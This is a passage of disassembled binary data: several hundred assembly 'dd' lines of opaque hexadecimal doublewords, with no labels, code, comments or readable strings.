		dd 9084CFB9h, 90140F8h,	0A976BA4Ch, 7BD8DACAh, 37D90056h
		dd 99F70B8Bh, 0DB00A7C9h, 33C7CBF5h, 5B845Dh, 68067ACCh
		dd 41AB1786h, 78005F74h, 72EFFEE1h, 5DC922Ch, 99DEEA7Ah
		dd 6FD1003Bh, 50B60D87h, 10616600h, 0A1EC684Bh,	0BF2003B1h
		dd 521C154Dh, 0C6FA38A0h, 0F13B3Dh, 0F2441FB3h,	874FDEh
		dd 0AF3903A7h, 97FF8242h, 0F0BD8C00h, 0B83604Ch, 92640069h
		dd 45C7F406h, 3E00FB43h, 0BD96716Ch, 0B10D242h,	8B2897Dh
		dd 2AC43206h, 0A929E607h, 99204620h, 0BCEA25h, 0E731D383h
		dd 0C734308h, 0BB798A3Dh, 0A8E80BBh, 4C67B869h,	6E900278h
		dd 2361F895h, 0E53980FDh, 1F3685h, 3D0CC620h, 0ED4429F9h
		dd 0C4464E07h, 0EE80D404h, 6848BFEh, 0C623DFADh, 9600F05Ah
		dd 0E8955E5Fh, 0F803563h, 3F9BE43Ah, 10D72CE7h,	288970A4h
		dd 85BCA03h, 884B0DD8h,	13F04DBh, 83F2DF69h, 312E410Ah
		dd 9C4880C2h, 54F3FD22h, 0E9170080h, 0B21F7929h, 9500D746h
		dd 0ECC3E46Ah, 60F4C95Fh, 0F5A8203Fh, 7D0059F6h, 3D6791A3h
		dd 3AD93Ch, 0F2715177h,	0E12CF7CDh, 300B1FAh, 0BA9A74FCh
		dd 24FB9E54h, 54734Dh, 0B495C9BFh, 2C006FFEh, 224C345h
		dd 0CE7DA5h, 1B8F26E9h,	0A7A39318h, 30069F0h, 5A29C20Dh
		dd 7666E01h, 798798Fh, 0F311A0EEh, 0ACA015B9h, 0E601E0FCh
		dd 845B9493h, 0B420F849h, 18FD8868h, 0F8AB4230h, 0C7485Eh
		dd 2BB6D29Ah, 0BD4B08ADh, 0AE3A3300h, 5698E9B3h, 0D6E800DDh
		dd 54757F65h, 7A00D21Dh, 0ED2CA82Ah, 4818C2BDh,	0DF01A01Bh
		dd 94B8BCBh, 0E2ACF465h, 7C46D31Dh, 7AF22D00h, 0E0603Bh
		dd 0C36ECBC8h, 87E8C5EDh, 4463E712h, 4F789C18h,	9CCE4853h
		dd 8E25A900h, 0DFF56C8h, 0CF63F200h, 94806B92h,	7B730084h
		dd 68AE51FEh, 0D200099Fh, 29C53E3Dh, 1E99E3C3h,	81EAD7AAh
		dd 78E9A3C4h, 4E937045h, 50009C90h, 733E1C6h, 0C34275h
		dd 2C58B7D4h, 71C13E8Bh, 7266DE02h, 414C46DCh, 23C8C768h
		dd 903600ECh, 87633D5h,	0C5036AF5h, 0A0D162B4h,	0B99FEAh
		dd 0AB3E2EF0h, 0EF1D0970h, 400002A4h, 98316EBBh, 0CF113326h
		dd 703C8038h, 7FCF38F6h, 0DF88012Eh, 2B4206CEh,	5D74D84Eh
		dd 0E591891Dh, 65160940h, 0FEBE6Dh, 83FA4462h, 47295739h
		dd 6400F8F6h, 33C627B9h, 904C1E58h, 0AA100B2h, 0D7C8A0B1h
		dd 0BA002978h, 3FDB6D43h, 901AEB9Fh, 9736009Eh,	8B28C791h
		dd 6C3AB47Dh, 0F8780AAh, 5AAD35F1h, 0D7E426DEh,	0B7E0000h
		dd 52C3C7A6h, 60022B00h, 7429F4Bh, 0FBBB0E5Ch, 0C2009821h
		dd 0AFF522E0h, 7F7093Ah, 6D8EC5AEh, 0E6DF7910h,	0FAED1315h
		dd 0BF2700D6h, 5FD13D85h, 5C126E01h, 5009822Fh,	0C0985424h
		dd 0EDDE31A0h, 79003B02h, 0CAAF29EFh, 28F2AD41h, 0ACCB74h
		dd 0E6C721EBh, 3CCC888h, 6662AA00h, 0DFEC273Fh,	0C6330760h
		dd 80974570h, 8BDC953Ah, 40A85E0Eh, 2843A5CAh, 47E14091h
		dd 94757180h, 0D4FCB207h, 1E41B100h, 9FF2EFFFh,	96B7617h
		dd 0B6495B92h, 0D86C0080h, 914B9CEh, 94ED54h, 77F9E8Bh
		dd 7C70314h, 3E4ACAFEh,	2470F017h, 0EE02AB1Fh, 0DDE5B3B1h
		dd 447C6811h, 645E0392h, 5504EF9h, 0DF07D87Dh, 229E025Dh
		dd 338F0AE1h, 0EEED39C0h, 20EE0030h, 6D1EDFEBh,	9C039EAEh
		dd 9D43F0C1h, 0A0198874h, 2AF0C08Ch, 10F602FEh,	0B100A2F8h
		dd 0A15E7022h, 239021h,	873BA812h, 0B3510F13h, 201CCA00h
		dd 497BAAE6h, 0EC2E1376h, 0E2A04711h, 0BB26C117h, 44E8C3EEh
		dd 76FEDC61h, 0EA72B600h, 373ECBC5h, 0C296B8AFh, 9F8DA610h
		dd 81A85CC3h, 56233E2h,	653D2DF1h, 921600E0h, 1830A1DDh
		dd 25C66000h, 0AE672EF9h
		dd 4994F8CFh, 3B01ECE7h, 0D93092E6h, 32EE095h, 8476730Eh
		dd 9CB7C0DDh, 7251934Ah, 0EFF10015h, 11C3F33h, 0BF076E78h
		dd 0AC5F528h, 0D94C430h, 31E21EC7h, 69054974h, 961FA000h
		dd 6B00EC8Eh, 8CDD0D6Ch, 75068342h, 0F7BC02FCh,	3207D6CAh
		dd 209D1CC0h, 0A31DF600h, 85B752AFh, 7FE5792Ch,	0EEAD060Fh
		dd 0E0AAE926h, 33A2139h, 0AF974041h, 8281A88Ch,	0D4225863h
		dd 543FAE00h, 0B2AC53D7h, 8913E2F0h, 0E039195h,	9880C24Ch
		dd 716C5F3h, 2746C8A6h,	0CB3750D8h, 65044296h, 0C7419EA0h
		dd 7B854080h, 7E1400B0h, 50730C38h, 3054CD87h, 7D00ADBCh
		dd 4C17A699h, 2C1AAC67h, 708E21h, 57254F7Ah, 63E2A33Eh
		dd 1E04D371h, 0A434C91Fh, 0F998F4C0h, 828C13B7h, 5803EAF8h
		dd 889339A0h, 8A79F6h, 94EABED1h, 6F04FD37h, 2491BC74h
		dd 0FB331700h, 0E1820A1h, 541548CBh, 4780BA4Bh,	0A736A892h
		dd 5CAF342Eh, 797D4A81h, 1180AB45h, 0D53E8E91h,	0BC009282h
		dd 0FCA84835h, 1FAC0Fh,	0EB239AE9h, 6141F247h, 0F71C4B0Eh
		dd 201E5220h, 439DEC02h, 7FFC8151h, 4CE862CAh, 7DE52A32h
		dd 0BF7AECh, 2A5641CCh,	52861C2Fh, 97A11B00h, 0F79A0592h
		dd 8776003Fh, 4F75BA98h, 4E58B077h, 4D6002DCh, 407F945Dh
		dd 0DE4BFCh, 0A02BC9E1h, 0F92AD80Fh, 3011A200h,	0C5F0B9ADh
		dd 0D3E0071Ch, 90FFA4C4h, 6FDCB292h, 0C2906217h, 0B191E103h
		dd 9BF5C0F1h, 0A740C3DDh, 3F91FECEh, 122980FBh,	0E77C6E73h
		dd 0AAF0453h, 80DE423Eh, 2947D35Ch, 77273C1Dh, 0EC889080h
		dd 8B61DBh, 0B5F24658h,	0FC02FD51h, 190A748h, 3A3C7A47h
		dd 1080BEAAh, 27CDDA88h, 0AD0CD9CEh, 58DC5F52h,	0E47D5520h
		dd 0C5F981FBh, 0E81AB243h, 48B0EBBCh, 3C00B456h, 0ECE5BE2Bh
		dd 0AD001525h, 9DABA814h, 0E688D6h, 62B06F29h, 54EA551Ch
		dd 8B60821Ah, 80058C91h, 0A5BB008Fh, 97FE25C5h,	1C98A752h
		dd 39B1DC80h, 8B355B00h, 0A16655D6h, 7B47FC4h, 8548D9EFh
		dd 0F453042h, 5E00AF7Fh, 36D876EEh, 7972DEDh, 0B95D668h
		dd 0F94963CDh, 0B2D03Ah, 9312ADC1h, 0E6285396h,	19B03B3h
		dd 0A058AB39h, 0CFDC8FB0h, 474C7600h, 0B863ACB5h, 2A663EC9h
		dd 3BA36A85h, 4AF2C0A9h, 0D24DF54h, 0D50484E0h,	1F28E306h
		dd 0CD0E56F8h, 209F307Eh, 0B11D0779h, 1824047Ch, 0C7FE838Eh
		dd 74AF5098h, 51006A7Ah, 0D777B90Eh, 22091Ah, 0A514126Ch
		dd 583E6803h, 42BD98A0h, 5B1CFB7Ah, 0A0804909h,	8DBF4E5h
		dd 0BB610FBAh, 0C8891E4Bh, 3B33FC02h, 40977849h, 0AF38CEAFh
		dd 955B6103h, 0EFD04F79h, 87E19680h, 0B67803F2h, 2EC379Eh
		dd 74C10DBAh, 0C994FC90h, 0A6C88F00h, 92DC1ECFh, 74D60062h
		dd 58E4BD88h, 0B524148Ah, 0D20054B2h, 8770C476h, 0B6650066h
		dd 0FE803D09h, 3600DBE2h, 0BB1B2681h, 9FB92D3Eh, 7D004278h
		dd 1ABE4AF6h, 9D5F02h, 0F370A163h, 2F90B9D3h, 0AEF91401h
		dd 0C2DDE252h, 0EDB4E0F6h, 54110084h, 0D7D8914Dh, 0F0C0120Ah
		dd 0E7800D78h, 0E0300C0h, 362BEA04h, 2300E34Dh,	55A25D97h
		dd 5C0CE94Bh, 7F07B949h, 20D48A54h, 1701E2DEh, 28070DE4h
		dd 1B02DA45h, 4F61F160h, 413F39C2h, 42AC5900h, 6956363Dh
		dd 0AA3C4C00h, 1A9FA605h, 0FD740384h, 65E8989Eh, 5F803413h
		dd 80191809h, 0EE318EE0h, 64370077h, 0CD17E70Ch, 990FA894h
		dd 202CD0A1h, 43CFD81Eh, 90485988h, 4F289200h, 9AD4B924h
		dd 11D3509h, 566C48E5h,	74C7477h, 0A6606AB7h, 9C8309B4h
		dd 84904B95h, 24FC9FBBh, 0FCEC58h, 7AF3528Fh, 335A254Ah
		dd 13A41DDBh, 0FC91C5FBh, 8052C84Ch, 857A231Fh,	0F07650Bh
		dd 5CF24098h, 1F04BAh, 1106484Fh, 0F7A09F4h, 75682D3Fh
		dd 0F0838400h, 755AD544h, 27B4004Dh, 0EE107FAFh, 4100FD4Bh
		dd 0CCDC56A7h, 39445A7Ah, 952EA332h, 402302A8h,	2CC9617Bh
		dd 79588014h, 0A3E49705h, 902E2EC8h, 88293086h,	5200E596h
		dd 0D837783Fh, 0AE5C5Ah, 42978C9Fh, 0F4792CBh, 435E7700h
		dd 38BEB71Bh, 0A26F2CC3h, 83790064h, 0B9B0E723h, 3194521Eh
		dd 0D19739C0h, 19F60Ah,	0A80DFBC3h, 0CBD9D7B6h,	401F4798h
		dd 95809F76h, 246D9DF0h, 3518C10Ah, 287BD991h, 0B41F00C0h
		dd 113D50B9h, 0A2AD1363h, 8E3DC02Ch, 0F900F06Fh, 806B4ABFh
		dd 357719Bh, 0D0124FEFh, 4BF32973h, 682822B0h, 63E8C00h
		dd 0C7C386BAh, 0F19D0245h, 0C54FF390h, 40E61060h, 7D18301h
		dd 11CC2A7Bh, 3ED26130h, 0F31D470Dh, 59ADDF2h, 369C550h
		dd 7B08FB18h, 0C700BFA7h, 0EDB9A43Fh, 9E8B08C0h, 0AAA240h
		dd 8D0B1D37h, 0E64AE9B1h, 180046EAh, 0A3675B65h, 704ADF0h
		dd 98AE5186h, 0DEBC0ACh, 0BC7C9C35h, 68F1FC30h,	6999D50h
		dd 0E4E2FB90h, 0F9F970B0h, 8055F160h, 0D1ED2F98h, 1B8B788h
		dd 1611B406h, 316515FCh, 2E31814Dh, 37C7F1B5h, 5FEBA88Eh
		dd 23ED439Eh, 0E80AF28Fh, 6844F150h, 4D00AF10h,	0B74CAE1Ch
		dd 7D0045E1h, 616F87EFh, 0C8B5Ah, 51B397ECh, 5423B731h
		dd 52044000h, 0A6878FE1h, 0B85839EDh, 487B4700h, 0C2AA9C3Ah
		dd 5B1E82ECh, 1F0065C3h, 9EBEDAEh, 618F00CDh, 6F84F417h
		dd 0C1002860h, 642D0B81h, 5B5787Ch, 7EAC52A6h, 0C5B4C09Ch
		dd 0DE00E440h, 0F170AED5h, 979925h, 5BBCD72h, 0E278544Fh
		dd 0A77CBD00h, 4A664C30h, 751600D2h, 0A4A9C7D5h, 0EF268557h
		dd 270306EDh, 0E0F3AA54h, 0F88BAFD6h, 61840ACEh, 9E8842FEh
		dd 0AB9180E0h, 0F1A497EDh, 8CDC578h, 9ECC217Ch,	533A0391h
		dd 6DC1720Ah, 0EBD0D5A8h, 60133ACCh, 40707FB5h,	0A568A408h
		dd 215C3438h, 0E78184D7h, 1652FE93h, 0BE80E8h, 0C46A7F34h
		dd 7535D00Dh, 0FEFC5092h, 1F5110F7h, 11090E81h,	14404524h
		dd 2A93FF1Ah, 9B92DA09h, 56FF0354h, 0FD4022D7h,	7B96E648h
		dd 0DBC78400h, 5191E8D9h, 59EA2Fh, 78E5DF52h, 407C7534h
		dd 0E328991Ah, 6E674039h, 0A99D0317h, 0B965448Fh, 21EC0830h
		dd 0E6E0AB0h, 55A5DC53h, 1B38AA81h, 6BB99F46h, 0B8B4F82h
		dd 0CD827DE5h, 0DDE12779h, 0A19847ADh, 40830A80h, 0E643EBA4h
		dd 52C06103h, 80A5087Dh, 1ED163h, 66D39B93h, 5181D26Ah
		dd 73748E00h, 94B991DEh, 0FE00063h, 5727FDE1h, 0E03E20Dh
		dd 0D3DFA944h, 0EF55E88Eh, 0B44C0052h, 0F812650Bh, 0D900F03Eh
		dd 0CFDB7739h, 356C59Fh, 5C4BDE1Bh, 0CFAAC7h, 38998408h
		dd 0F43B7100h, 2746F969h, 88EC0061h, 9D166241h,	6F004EA8h
		dd 5EA4CD13h, 7FDFDEh, 0DCFA06A0h, 0F69F0A5Ch, 10053B32h
		dd 8604953Ch, 10B636A3h, 26E88D01h, 759928DAh, 0C371C4h
		dd 9BA6A8F4h, 2F36A421h, 8DC1F514h, 0E8296EAAh,	0A3CF8874h
		dd 8830D288h, 9D942B5Fh, 4F061128h, 33086E21h, 0C99134h
		dd 0ACE97988h, 3A5EA31Eh, 0F3D89Eh, 0C6559702h,	2CA1BD46h
		dd 80C2AD3Ch, 4DE9394Bh, 41032Bh, 25E8DA16h, 0FAA81FD3h
		dd 27C5A601h, 36A01510h, 1CD164E0h, 1E4AF1h, 788CEDDEh
		dd 63B9F6Ch, 0BFE38059h, 23EBEE35h, 7BE700F6h, 0A64341E0h
		dd 4D0E898Ah, 0E0E6B477h, 0D83A342Eh, 0B1CF06FAh, 1149987Fh
		dd 773F6700h, 0DA8D5575h, 52FFECCh, 3CEB4664h, 0B0BC4021h
		dd 7D276BCFh, 0F800FDE6h, 6AAE373Fh, 94A52Fh, 92FA8BD5h
		dd 41768A4h, 6919E200h,	0BF06CC41h, 3B5F0365h, 8ACE2F27h
		dd 5E8294B0h, 0CF92CA00h
		dd 74FC6A7Eh, 0A5405897h, 3FFAD900h, 0C9AAE2B5h, 8B6F1B3Eh
		dd 685B39h, 0D0FB0AC8h,	508103F0h, 838AED3Fh, 367EA107h
		dd 187523BFh, 0CE437E80h, 0ECC2B063h, 0FA6509CDh, 9C014571h
		dd 0D9B4B8D9h, 39E4E406h, 0BAAB3600h, 109FC5B5h, 0ADD00081h
		dd 0B74BE56Ah, 0B33DACDh, 2330ACh, 757B2560h, 0ABE7340Fh
		dd 46C018C0h, 1F4173C3h, 0D94F0854h, 3096787Ah,	0BD1428C6h
		dd 0B46444h, 0D40789B7h, 0DBEF98h, 7181AEF3h, 0DA3B146h
		dd 0C7CC300h, 95D1154Ch, 0AB0B0380h, 61626F6Ah,	0E4FB27B8h
		dd 86A0ED01h, 0FDCBB219h, 12FFDAC8h, 2C6FACh, 0A99E758Ch
		dd 4B01C6EBh, 64C4A5EAh, 12C48C2Dh, 4E3D0092h, 0C3887AE0h
		dd 200A3C9h, 5C015662h,	0A697D2Ah, 0AD12A69Dh, 441A00F1h
		dd 0F3732D77h, 32E8000h, 0BA724F10h, 0C4F100B6h, 6B59D240h
		dd 867945E9h, 0CD00A6B0h, 0C2100F39h, 22AD0FFh,	6592E44Ch
		dd 0C409408h, 4BF87C99h, 1093F530h, 16F0641h, 0AF1831BBh
		dd 7E99CEB0h, 2820F4E0h, 24EC1296h, 3C7CF4B7h, 0E444FD00h
		dd 8C239D58h, 55C921Eh,	0A3D7DD40h, 0E8CB1Bh, 4B0AA87Bh
		dd 9EB13A2Eh, 1F23FC5Ch, 190055D5h, 0A51CD7A4h,	0F08D507Dh
		dd 16420B2Ch, 0E803D141h, 45B0B5D3h, 0C002791h,	665F5CF0h
		dd 0E6873C2h, 0F62D70DCh, 57B70140h, 5E00B14Dh,	69587C1Eh
		dd 5377E30h, 66EF8A1Ah,	0A2F40079h, 877A5D2h, 0F00768EAh
		dd 6A369C86h, 47462B60h, 94D912ABh, 0BEA44092h,	553C349Dh
		dd 48411912h, 0B2038400h, 0E2A4684h, 0CAE713D6h, 0A6EECF80h
		dd 0ED00F851h, 9EC710F4h, 30805734h, 14783B65h,	0E000C23h
		dd 0A5721764h, 0C1B1B9h, 88103CCAh, 0AE6E4F58h,	6DEF1900h
		dd 0DCA6BCB2h, 502C03CBh, 4EDF40ABh, 75C0B1C0h,	0FE0B3A90h
		dd 6B025Bh, 2AA56F04h, 67F600C2h, 0B1FA57D0h, 0C005A40h
		dd 0E4275D3Ch, 26EE4426h, 1C166BCEh, 251840D2h,	0B4CAEC57h
		dd 1C5A2400h, 0F8C2813Ch, 0A7560007h, 6DAECE0Dh, 0DB008F0Ah
		dd 0EC3C8C4Eh, 804F21h,	0D2FD2361h, 79553F9Bh, 9DB23202h
		dd 406ED301h, 0CC786E4h, 591D1C61h, 0C300D9F0h,	6EF8CD3Ah
		dd 3216F9Bh, 0E41FA6D7h, 41001D7Fh, 8CC3D862h, 0F9CFA5h
		dd 0E3265650h, 7B440868h, 0D3F64500h, 9773E680h, 0AD0F0209h
		dd 4E7F2EC8h, 0E00B11E1h, 7C0EF636h, 80D972AEh,	3941E8B2h
		dd 62760098h, 0E5578D4Ch, 130028CFh, 962DD9E4h,	51AA7Dh
		dd 34260FACh, 7E6C532Bh, 22F23800h, 1A4A7232h, 0DA2D006Bh
		dd 0C2F66A7h, 0F402C1A1h, 883D63B2h, 905E6040h,	8B1500EDh
		dd 1DC8C2F9h, 3AE697C1h, 92BBF700h, 95314922h, 60BAF0E7h
		dd 9F298E9h, 1D00BF51h,	9ED56284h, 7E908C70h, 8DCE0060h
		dd 6A1C34A4h, 5C0CF4BDh, 0B1DA4C61h, 51D700C0h,	33A47056h
		dd 0D2077AD4h, 4685BC44h, 0DD78C560h, 0B3A30042h, 0D8C6AFE8h
		dd 1E00A2E3h, 0F5A0D936h, 175767F1h, 2B5802h, 59DF4A7Dh
		dd 6E06AA47h, 9631BE6Fh, 0A820370h, 9DA81D5Dh, 92E93B8h
		dd 71EA1400h, 51A55B3Ch, 72C70017h, 4D83948Bh, 22249764h
		dd 460040E3h, 9F8C844Fh, 242775D1h, 0A20CCECDh,	0DB14009Ch
		dd 0EFAD05D5h, 260F86B5h, 6A04D3F7h, 39F4DEh, 73A848C2h
		dd 28BA0AD0h, 0E0A87D53h, 0C43F0078h, 0BECC87F0h, 12039A74h
		dd 5C5ED493h, 0F3A3806Fh, 56530338h, 0AA9E8B28h, 2E894000h
		dd 693B911Fh, 0F900058h, 3CF7BBEEh, 0EA007ADDh,	0F467DE56h
		dd 0C9C016h, 0BB95C142h, 9F54FD04h, 0AD338B00h,	0C77FE1E3h
		dd 55FE0ECAh, 0C6076E5h, 147D8139h, 59251107h, 0E6D0D4D1h
		dd 0FE44AEA4h, 0A38E02F3h, 0D9AA2F6h, 6D0F8046h, 18DBA91Fh
		dd 0C8D078h, 54282FFCh,	93A6A5D8h, 0DB1E8F00h, 70E02C16h
		dd 6D351265h, 989440C7h, 11C23981h, 851D9E1Fh, 7403E8C0h
		dd 6B107FEh, 50E2C18Dh,	2C00103Eh, 0F828FA32h, 0E4AD0BCh
		dd 7BC3CDDEh, 161BC2E0h, 93F48096h, 9312B0Ch, 7E60A7h
		dd 62FE40B3h, 155E1891h, 0F5C2653Ch, 0ECE2CC00h, 0B3B1BC3Dh
		dd 0E3EEDCh, 8A3E7754h,	0FA876D88h, 7AC24326h, 80D7D50Eh
		dd 9E95CAD1h, 0E9230121h, 624AAD70h, 0ABF8804Bh, 106ED788h
		dd 0A301007Ah, 0D57F9338h, 9E0A9DD9h, 90CCAE11h, 0C5605180h
		dd 2A6D4h, 8A04E737h, 0DE18ECAFh, 54256B01h, 0F703648Bh
		dd 984AC4E0h, 0A2850073h, 26639767h, 6D00D23Dh,	0B8E59FF3h
		dd 0FF3A09h, 0B03C8A51h, 47A8BBBEh, 18E32100h, 0DE3BC537h
		dd 98FA5012h, 0A38F0040h, 6524FB1Eh, 1B0468DDh,	0B286A74Ch
		dd 0A0486680h, 6F2B0E80h, 6280D540h, 1960E897h,	9CB0FF00h
		dd 0DDCC4388h, 0A72C00A6h, 0D1F267A0h, 0F603EFB6h, 9585B293h
		dd 8FF4C88Dh, 13E770Eh,	0C12A0B5Eh, 526C8EE8h, 14A0B180h
		dd 2D0A09D9h, 2FFB0C0Fh, 0D000D62Ch, 8FEA19D6h,	18DA905Bh
		dd 0C07FA197h, 9B00BC87h, 240B3043h, 39C1A7B3h,	1800822Fh
		dd 549EA013h, 4B015BD7h, 0B1BAC39Bh, 2A707969h,	0DD1701BDh
		dd 0FDC4E40Ah, 0C3212096h, 0A9780300h, 2C30DBCFh, 13C51243h
		dd 0FA08002Bh, 75791AD7h, 78008BFEh, 7DE270B3h,	0E064B4Eh
		dd 38369750h, 80C54144h, 0C82779E9h, 63295C26h,	30BF7603h
		dd 0B3F8082Bh, 5200E045h, 685D2960h, 3934902Dh,	43803CC8h
		dd 6AF16BC1h, 0D60348E0h, 59ACF78Ah, 29F6CDh, 17BA0CF8h
		dd 0BE117D4Fh, 84AE4113h, 58FB2200h, 2CA06899h,	8B3E78h
		dd 0B894A58Fh, 3F3F6FDDh, 1848B7h, 2FFE8CC7h, 11E319Eh
		dd 8C3CE62h, 83695181h,	1AA20620h, 6452D130h, 45D060h
		dd 7CE9C597h, 0A5DE1D51h, 78EF8F00h, 0BD39D0D5h, 0E28013AFh
		dd 9700724h, 7F9B0B9h, 0EC009BEEh, 9A62083Fh, 3B541E6Ah
		dd 0FA80FD46h, 0D807555Bh, 2348A71Ah, 107F75C3h, 0F14C5607h
		dd 6F33B4E9h, 0A01BE0B2h, 0E47D00E8h, 0FCF93C9Ah, 0E9005D3Ah
		dd 4096F4E2h, 30D249F2h, 5590D4C4h, 4F30CB4Ah, 439111C5h
		dd 9FB500B9h, 0ABE96F05h, 8971FD98h, 3D84EA1Ch,	3A555100h
		dd 8E33A5h, 0FDAEF515h,	0EFABC4E0h, 0CF00507Eh,	0A5AF2FB4h
		dd 18C8037Eh, 215FB93Eh, 61147DDBh, 729C9BB2h, 7E086706h
		dd 0F82107FCh, 879604BCh, 0C39A2A1Bh, 808DAF40h, 257545EDh
		dd 41D5C00Bh, 0F0C682DCh, 0D810E38Ah, 699ABBh, 0F9E78087h
		dd 0EF70CCA3h, 9184FE1Ch, 149FDB40h, 0E851180Dh, 1A2C0175h
		dd 53F8BF23h, 0A4C0CFD2h, 8F04C9B0h, 0A85E7372h, 0A3B33CC0h
		dd 1E1005Bh, 0F26313ACh, 0D8A0E33Ch, 0BA007E4Fh, 46B444D7h
		dd 9287CFC0h, 0B0C953B0h, 48A20418h, 0CFF28A95h, 0E0B73318h
		dd 0E6F140h, 65788001h,	9C9BE786h, 4E17130Ch, 3C2085h
		dd 2E84E44Bh, 10864090h, 33776501h, 0F08E2DFBh,	6DFD2D21h
		dd 1367E030h, 5F70C6h, 8EA83654h, 2C008276h, 0CE59EAA5h
		dd 41AF1BFh, 95A2A7Ch, 5588806Ch, 5C0062B1h, 0BD304B26h
		dd 3060C606h, 7F212EC0h, 29289C02h, 0DE00C080h,	0D6FD2A92h
		dd 2CCA9Eh, 0C64BBF79h,	0E9629AACh, 0FECF305h, 84816E42h
		dd 8CD42E0Bh, 0BB19174Fh, 0DCC20BB1h, 0A3521600h, 3207F80Eh
		dd 0A7D57ED7h, 58CD7710h, 54920FABh, 3681FF45h,	0D0941A9Eh
		dd 0A700DE23h, 0E2F2B9ECh, 21EF0A8h, 5CBB4537h,	0B880245Ah
		dd 96DBF668h, 0FDECC200h, 0E4039793h, 9B2B015Eh, 7FA91CA5h
		dd 2896E438h, 0E932ED07h, 0DCB055D7h, 0E5681Fh,	27645BB5h
		dd 599F650Fh, 3C5AD000h
		dd 4B8EEFB7h, 37B00AAh,	9743670Ch, 89013069h, 0E090B279h
		dd 0C06437FDh, 16120028h, 0B9515983h, 5C174661h, 30203C0Ah
		dd 779AD2FDh, 78C9824h,	292C31E4h, 0FF4C9119h, 0AFA7C4D8h
		dd 0F3C76201h, 80094445h, 7997E847h, 64244082h,	87D200BCh
		dd 9339FFA1h, 52039BD6h, 721C95F7h, 804A9A18h, 0D2A847B8h
		dd 0D54217D7h, 3301BE2Dh, 77552C63h, 12ECF830h,	5EF14Ah
		dd 8F034963h, 0C2009A20h, 4EDEE410h, 48AC53B2h,	87007BEFh
		dd 8E7C3491h, 0E905657Fh, 261598FAh, 6F621C1h, 0A6D2881h
		dd 80FD727Ch, 0DCDE4D11h, 4CC442Bh, 0C0501595h,	0BA90885Ch
		dd 0BBCF0284h, 8DC79348h, 2840A4AEh, 0A9DCD99Ah, 69811724h
		dd 2ED8C407h, 444C8A39h, 0C27C6707h, 36101Ch, 2E6E08E6h
		dd 0B1EF96D9h, 90C459h,	42E2B6B7h, 2066D18h, 355F7FD8h
		dd 4C0971Eh, 0E43AF3C2h, 7878B7D0h, 0B46E7E0h, 91F42E6Fh
		dd 75C4005Ch, 0FBAFD3C6h, 0C660109h, 0F34080CEh, 0DAD283h
		dd 0F02F8F5Bh, 9287B6E5h, 0B755E405h, 0DAC0451Eh, 0CB5E177h
		dd 27998A1Ah, 82000510h, 0F91ED237h, 3457111h, 0FEB90633h
		dd 0DA90108Bh, 2700D49Eh, 6AF25109h, 74120BDFh,	31C4609Ah
		dd 0E3AF19Ch, 0E8E4D701h, 0CA5299DDh, 3316B840h, 32EA002Eh
		dd 0BBE56931h, 97040735h, 68AE1DC6h, 0C7A4B0h, 0E218BD7Ch
		dd 2D64361Ch, 8685B005h, 88907E56h, 10EF626h, 727B83Fh
		dd 30CB3D4Fh, 6AF60630h, 84948F00h, 9CD6A638h, 0F16400B3h
		dd 7EC0807Ah, 985C46BBh, 4B28169Ah, 0C8EF6900h,	3B82D93h
		dd 33897763h, 6C0010A1h, 99349EFDh, 5CE5D581h, 0AC0091D9h
		dd 0BC9871B3h, 2400695Dh, 8DA3B7F1h, 0C0BD3D3Eh, 73A9E461h
		dd 7F5A4033h, 48350C00h, 6F80B6h, 3908ACB3h, 9A6E23D7h
		dd 0A38E9501h, 0EFFB86DEh, 7C84E8h, 857417BCh, 0CCCB017Bh
		dd 270036FEh, 4173223Dh, 0C0374C16h, 39320A10h,	0A04C4F3Bh
		dd 0E58A12B8h, 0D3379480h, 0B1050054h, 25CCF1A2h, 530CF9FFh
		dd 66198890h, 8F2C1446h, 0FA0E78F7h, 5121831Fh,	9E7227A6h
		dd 81804BB8h, 0EBE1388h, 0A0620061h, 3A8A32DCh,	48908501h
		dd 44167100h, 5147F40Dh, 0E7F60946h, 0A064569Ch, 4F522E00h
		dd 43A299B0h, 6DD3019Dh, 5992E2B2h, 0B1277064h,	0A3EAA4A0h
		dd 0BCBEA800h, 887627FEh, 869A000Eh, 4806CE6Ah,	0CC92D5A6h
		dd 0EF1A3400h, 0B1A09DA9h, 47640077h, 5E37F3C8h, 0F400BFB9h
		dd 6186AC1Bh, 9EE1FCh, 9574E3E0h, 419C4C3Dh, 4940010Bh
		dd 0C3648082h, 4C9E94FCh, 2200A463h, 37C4697h, 814B70B8h
		dd 16FC0Eh, 930A82D8h, 47661811h, 9C37186Fh, 0D2AEA904h
		dd 0D091B953h, 0C43EC34Eh, 3B8C9165h, 4843C85Ah, 0E4752B00h
		dd 7D16876Fh, 624B1355h, 5CB4406Ch, 0DE7C2FE9h,	11882969h
		dd 0E24061B0h, 194D5C4h, 800F9DD9h, 0D849428Ah,	9E1C1741h
		dd 0B8EE39h, 66D2B059h,	0FFCECCh, 95F2D12Ch, 4AA27CA3h
		dd 1328D000h, 395F3B08h, 3F6F0088h, 0CFDDEA4Eh,	6B006871h
		dd 0A0BF15F4h, 13DEAD55h, 0C0A356D4h, 8C2388E0h, 7C94CF18h
		dd 121D5C1Ch, 5C5B0F5Eh, 0FAF8806Ch, 6EAE3BBFh,	0E73F647Fh
		dd 0DA9017Ch, 0DD9D3951h, 0D4327431h, 92D92160h, 103BBA6Bh
		dd 0A712FD6Fh, 0B7131185h, 786A6000h, 7D6347h, 290823D4h
		dd 0B5BE8B3Bh, 0E1F52200h, 82567718h, 0B4E203ADh, 17088D9Ch
		dd 0EC5436D8h, 14F20C00h, 0B871B80h, 3EDF00C0h,	215D5772h
		dd 0B807BE84h, 0A4BCCBABh, 73566E10h, 68C7553h,	5570A74Eh
		dd 4A12B0E2h, 0A8408379h, 9B72C78h, 0B5C41CA7h,	0C94D45A6h
		dd 0A4100633h, 9B414875h, 32D02BD9h, 7DFA0CB0h,	0CB187757h
		dd 0FC832207h, 4B82DB12h, 56348196h, 0A603844Eh, 0BF0E6006h
		dd 26281458h, 13BE1196h, 0D0F48006h, 4CA918C9h,	0AD023Ch
		dd 0C972A713h, 12201C43h, 0F7D500E3h, 0DBC40035h, 68D124B2h
		dd 71078717h, 9601F826h, 807547C2h, 6D651F3h, 0F09E0059h
		dd 7988115Eh, 650054ACh, 9623CEB7h, 4CB65745h, 6D0083F9h
		dd 4CAC603Bh, 24006E4Ah, 76117F9Ah, 1D0CB130h, 4F6A5347h
		dd 2B005202h, 97DBF85Bh, 0AFB01100h, 9D6DF993h,	9006FEE4h
		dd 2CC504CCh, 909E782Bh, 0E63AA91Ch, 89FBB000h,	0B1C8F11Eh
